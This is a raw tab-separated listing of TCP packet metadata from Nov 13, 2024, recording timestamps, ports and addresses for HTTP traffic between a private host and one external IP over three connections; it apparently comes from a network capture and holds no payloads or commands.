Nov 13, 2024 10:55:12.146281004 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.146434069 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.146442890 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.146450043 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.150326967 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.150582075 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.151034117 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.151041985 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.151051998 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.151148081 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.151155949 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.193475962 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:20.623872995 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:21.131783009 CET	49714	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:21.136784077 CET	80	49714	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:21.136852980 CET	49714	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:21.137038946 CET	49714	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:21.137424946 CET	49714	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:21.141801119 CET	80	49714	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:21.142283916 CET	80	49714	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:29.613034964 CET	80	49714	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:29.613116980 CET	49714	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:29.613262892 CET	49714	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:29.618233919 CET	80	49714	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.291652918 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.296725035 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.296834946 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.297111988 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.297679901 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.301911116 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.301961899 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302596092 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302606106 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302619934 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302638054 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302680969 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302700043 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302720070 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302721977 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302731037 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302757978 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302759886 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302769899 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302772045 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302793980 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302797079 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.302813053 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.302830935 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.306926012 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.306967974 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.307461977 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.307497025 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.307531118 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.307540894 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.307585001 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.307611942 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.307674885 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.307683945 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.307707071 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.307729959 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.349405050 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.349548101 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.397583008 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.397711039 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.445492983 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.445720911 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.493462086 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.493673086 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.541448116 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.541601896 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.589736938 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.589852095 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.637814045 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.638456106 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.685653925 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.685720921 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.733722925 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.733776093 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.789863110 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.789956093 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.837680101 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.837796926 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.889766932 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.889898062 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.941819906 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.941910028 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:30.989837885 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:30.989959955 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.037894011 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.038005114 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.085778952 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.085937023 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.133856058 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.134032965 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.181941032 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.182086945 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.233573914 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.233721018 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.281909943 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.282004118 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.329576969 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.329735041 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.377865076 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.377928972 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.425841093 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.425905943 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.475281954 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.475409031 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.522768974 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.522890091 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.569875002 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.569986105 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.618604898 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.618735075 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.665704012 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.665812969 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.718069077 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.718204021 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.769758940 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.769848108 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.817666054 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.817945004 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.865817070 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.865966082 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.913568020 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.913753033 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:31.961848974 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:31.961936951 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.010013103 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.010097980 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.066004038 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.066211939 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.117748976 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.117917061 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.169507980 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.169826031 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.221766949 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.221888065 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.273679972 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.273845911 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.329716921 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.329860926 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.377836943 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.377971888 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.426208019 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.426299095 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.478693008 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.478797913 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.525818110 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.525945902 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.574251890 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.574316978 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.623384953 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.623460054 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.675578117 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.675695896 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.727227926 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.727322102 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.779911995 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.780097961 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.831491947 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.831617117 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.877656937 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.877785921 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.925707102 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.925787926 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:32.973805904 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:32.973922014 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.025806904 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.025993109 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.073609114 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.073734999 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.125701904 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.125840902 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.177690983 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.177798986 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.229795933 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.229871988 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.277514935 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.277582884 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.325741053 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.325798988 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.377716064 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.377861977 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.425654888 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.425759077 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.473603964 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.473932981 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.521555901 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.521666050 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.569483995 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.569561005 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.617465019 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.617567062 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.665632963 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.665746927 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.713617086 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.713735104 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.765733004 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.765994072 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.813690901 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.813829899 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.861609936 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.861701012 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.913518906 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.913657904 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:33.965544939 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:33.965610027 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.013698101 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.013811111 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.061541080 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.061738968 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.109529972 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.109608889 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.157587051 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.157876968 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.205861092 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.206125975 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.253453970 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.253562927 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.301587105 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.301660061 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.353949070 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.354094982 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.406111956 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.406259060 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.453567028 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.453676939 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.501481056 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.501528025 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.550652027 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.550715923 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.598159075 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.598285913 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.649688005 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.649779081 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.703100920 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.703222036 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.749491930 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.749645948 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.808661938 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.808734894 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.860554934 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.860610008 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.913536072 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.913605928 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:34.984792948 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:34.984859943 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.042498112 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.042587996 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.090212107 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.090291023 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.141807079 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.141882896 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.190093040 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.190167904 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.237761974 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.238054037 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.285773993 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.286053896 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.334119081 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.334228039 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.385787010 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.385931015 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.437597036 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.437715054 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.486393929 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.486555099 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.533603907 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.533729076 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.581623077 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.581692934 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.629690886 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.629792929 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.687733889 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.687834024 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.755968094 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.756047964 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.804630995 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.804706097 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.856118917 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.856311083 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.905597925 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.905850887 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:35.962383986 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:35.962466955 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.012538910 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.012675047 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.061717033 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.061861992 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.109647036 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.109786987 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.159933090 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.160048008 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.209794998 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.209896088 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.258187056 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.258394957 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.312061071 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.312257051 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.365536928 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.365632057 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.417045116 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.417110920 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.465673923 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.465779066 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.518044949 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.518131971 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.570043087 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.570240974 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.618827105 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.619035959 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.666529894 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.666702032 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.713618994 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.713711977 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.765539885 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.765721083 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.813925028 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.813994884 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.865546942 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.865647078 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.919538975 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.919706106 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:36.971240997 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:36.971378088 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.019296885 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.019352913 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.066090107 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.066169024 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.115348101 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.115544081 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.171571016 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.171783924 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.224251032 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.224348068 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.285722017 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.285900116 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.336052895 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.336143970 CET	49715	80	192.168.2.8	94.158.244.69
